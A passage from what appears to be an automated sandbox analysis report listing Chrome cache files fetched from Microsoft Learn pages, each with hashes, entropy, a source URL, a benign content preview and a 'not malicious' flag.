File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
